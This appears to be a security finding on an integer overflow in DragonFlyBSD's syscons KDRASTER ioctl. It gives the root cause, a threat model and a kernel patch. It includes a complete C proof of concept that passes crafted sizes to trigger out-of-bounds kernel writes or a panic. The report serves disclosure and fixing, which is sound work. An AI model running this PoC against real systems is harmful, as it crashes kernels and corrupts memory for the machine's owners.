Summary

sc_set_pixel_mode() validates the user-controlled xsize/ysize (received via the KDRASTER ioctl) only with the expression (info.vi_width < xsize*8) || (info.vi_height < ysize*fontsize). Both multiplications are signed int * int and silently wrap on large attacker values, so a root caller can drive scp->xsize and scp->ysize to arbitrary huge values, after which scp->xoff / scp->yoff are computed as negative ints and the screen buffer / framebuffer vtb are (re-)initialized with corrupted dimensions, leading to out-of-bounds writes near the VGA framebuffer mapping (or kernel panic).

sc_set_text_mode uses safe clamping at scvidctl.c:107-110; sc_set_pixel_mode does not.

Root cause

scvidctl.c:313-319:

if (xsize <= 0)
    xsize = info.vi_width/8;
if (ysize <= 0)
    ysize = info.vi_height/fontsize;

if ((info.vi_width < xsize*8) || (info.vi_height < ysize*fontsize))
    return EINVAL;

xsize and ysize arrive directly from userspace via the KDRASTER ioctl at scvidctl.c:768-775:

sc_set_pixel_mode(scp, tp, ((int *)data)[0], ((int *)data)[1], ((int *)data)[2]);

— KDRASTER is _IOW('K', 100, scr_size_t) and scr_size_t holds three ints (consio.h:62-67).

The only upper-bound check is xsize*8 / ysize*fontsize as 32-bit signed int multiplications. Pick xsize = 0x20000000 (536870912, fits in int32): xsize*8 = 0x100000000 which truncates to 0 (signed overflow, UB in C, wraps on every DragonFlyBSD target). Then info.vi_width < 0 is false, the check passes, and execution falls through to scvidctl.c:382-388 which assigns:

scp->xsize = 0x20000000;
scp->ysize = (similarly overflowed) huge value;
scp->xoff  = (scp->xpixel/8 - xsize)/2;   /* a large negative number */
scp->yoff  = (similarly large negative);

scvidctl.c:391 then calls sc_alloc_scr_buffer(scp, TRUE, TRUE), which calls sc_vtb_init(&new, VTB_MEMORY, scp->xsize, scp->ysize, NULL, M_WAITOK) (syscons.c:3567). Inside sc_vtb_init (scvtb.c:85,93) both vtb->vtb_size = cols*rows and the kmalloc size cols*rows*sizeof(uint16_t) re-overflow, producing either a zero-sized allocation or an absurd size_t value via int→size_t promotion of a negative product.

If scp is the current console, set_mode() (syscons.c:4189) additionally re-initializes scp->scr as a VTB_FRAMEBUFFER pointing at adp->va_window with the same corrupted cols/rows, and mark_all (syscons.h:105-108) computes scp->end = scp->xsize * scp->ysize - 1 (also overflowed). Subsequent rendering via the vga pixel renderer (scvgarndr.c:602 VIDEO_MEMORY_POS, line 635 writel(p, u32)) uses scp->xoff / scp->yoff as offsets added to adp->va_window, writing OOB.

sc_set_text_mode at scvidctl.c:107-110 demonstrates the correct pattern:

if ((xsize <= 0) || (xsize > info.vi_width))
    xsize = info.vi_width;

— pure comparison, no multiplication, no overflow.

Threat model

Attacker position: any local user who can open /dev/ttyvN or /dev/consolectl. By default both are 0600 root:wheel (syscons.c:644-650) and scopen() gates on caps_priv_check(SYSCAP_RESTRICTEDROOT) (syscons.c:724), so this is normally root-only — but jail configurations, devfs rule overrides, or any setup that exposes the device to a non-root cred widen the surface.

Required hardware: a real VGA-class adapter (the KMS path scp->sc->fbi != NULL is rejected at scvidctl.c:769).

Required precondition: the vty must already be in GRAPHICS_MODE or PIXEL_MODE (KDRASTER is rejected for ISTEXTSC at scvidctl.c:769), trivially achieved by first issuing KD_GRAPHICS.

Impact: kernel memory corruption (OOB write relative to va_window mapping) — best case kernel panic / local DoS, worst case (if the OOB offset lands in mapped writable kernel memory) a write primitive.

Because vm_offset_t is unsigned the negative xoff/yoff become very large positive offsets, so the typical observable outcome is a page-fault panic; reliable escalation to code execution would require platform- specific layout grooming.

PoC

findings/poc/DF-1684/kdpanic.c:

/*
 * PoC: KDRASTER integer-overflow -> OOB write / kernel panic.
 * Build: cc -O0 -o kdpanic kdpanic.c
 * Run:   ./kdpanic   (must be run as root, on a vt with no KMS / i915 drm master)
 *
 * Expected: kernel panic on first writel past va_window mapping, or memory
 * corruption silently landed somewhere in kernel virtual space.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/consio.h>
#include <machine/console.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int
main(void)
{
    int fd = open("/dev/ttyv0", O_RDWR|O_NOCTTY);
    if (fd < 0) { perror("open /dev/ttyv0"); return 1; }

    /*
     * 1) Put the vty into GRAPHICS_MODE so KDRASTER is accepted
     *    (ISTEXTSC must be false, see scvidctl.c:769).
     */
    int mode = KD_GRAPHICS;
    if (ioctl(fd, KDSETMODE, &mode) < 0) { perror("KDSETMODE"); return 1; }

    /*
     * 2) Craft xsize so that xsize*8 wraps to 0 in 32-bit signed int,
     *    bypassing the only bounds check at scvidctl.c:318.
     *      xsize = 0x20000000  -> xsize*8 = 0x100000000 == 0 (mod 2^32)
     *      ysize = 0x10000000  -> ysize*16 = 0x10000000 == 0 (mod 2^32), fontsize=16
     */
    scr_size_t sz;
    sz.scr_size[0] = 0x20000000;   /* xsize */
    sz.scr_size[1] = 0x10000000;   /* ysize */
    sz.scr_size[2] = 16;           /* fontsize (>= 16 -> normalized to 16) */

    /* Triggers sc_set_pixel_mode -> scp->xsize = 0x20000000, xoff<0,
       then set_mode() / scrn_update thread OOB-write via VIDEO_MEMORY_POS. */
    if (ioctl(fd, KDRASTER, &sz) < 0) { perror("KDRASTER"); return 1; }

    /* Force the screen to refresh so the renderer actually writes. */
    mode = KD_TEXT;
    ioctl(fd, KDSETMODE, &mode);   /* typically panics before returning */
    return 0;
}

Recommended fix

Mirror the safe pattern already used by sc_set_text_mode (scvidctl.c:107-110): clamp xsize and ysize against info.vi_width / info.vi_height using plain comparison (no multiplication), and reject any non-positive remainder so a degenerate mode cannot slip through.

--- a/sys/dev/misc/syscons/scvidctl.c
+++ b/sys/dev/misc/syscons/scvidctl.c
@@ -313,11 +313,21 @@ sc_set_pixel_mode(scr_stat *scp, struct tty *tp, int xsize, int ysize,
     if (xsize <= 0)
    xsize = info.vi_width/8;
     if (ysize <= 0)
    ysize = info.vi_height/fontsize;

-    if ((info.vi_width < xsize*8) || (info.vi_height < ysize*fontsize))
+   /*
+    * Bounds-check the requested console geometry against the actual
+    * mode geometry.  Use division (NOT multiplication): xsize and ysize
+    * arrive directly from the KDRASTER ioctl and may be chosen so that
+    * xsize*8 / ysize*fontsize silently wraps as a signed int, which would
+    * bypass a multiplication-based check (CVE-class integer overflow).
+    * Compare against sc_set_text_mode's safe clamping at lines 107-110.
+    */
+   if (xsize <= 0 || ysize <= 0 ||
+       xsize > info.vi_width / 8 ||
+       ysize > info.vi_height / fontsize) {
    return EINVAL;
+   }

     /*
      * We currently support the following graphic modes: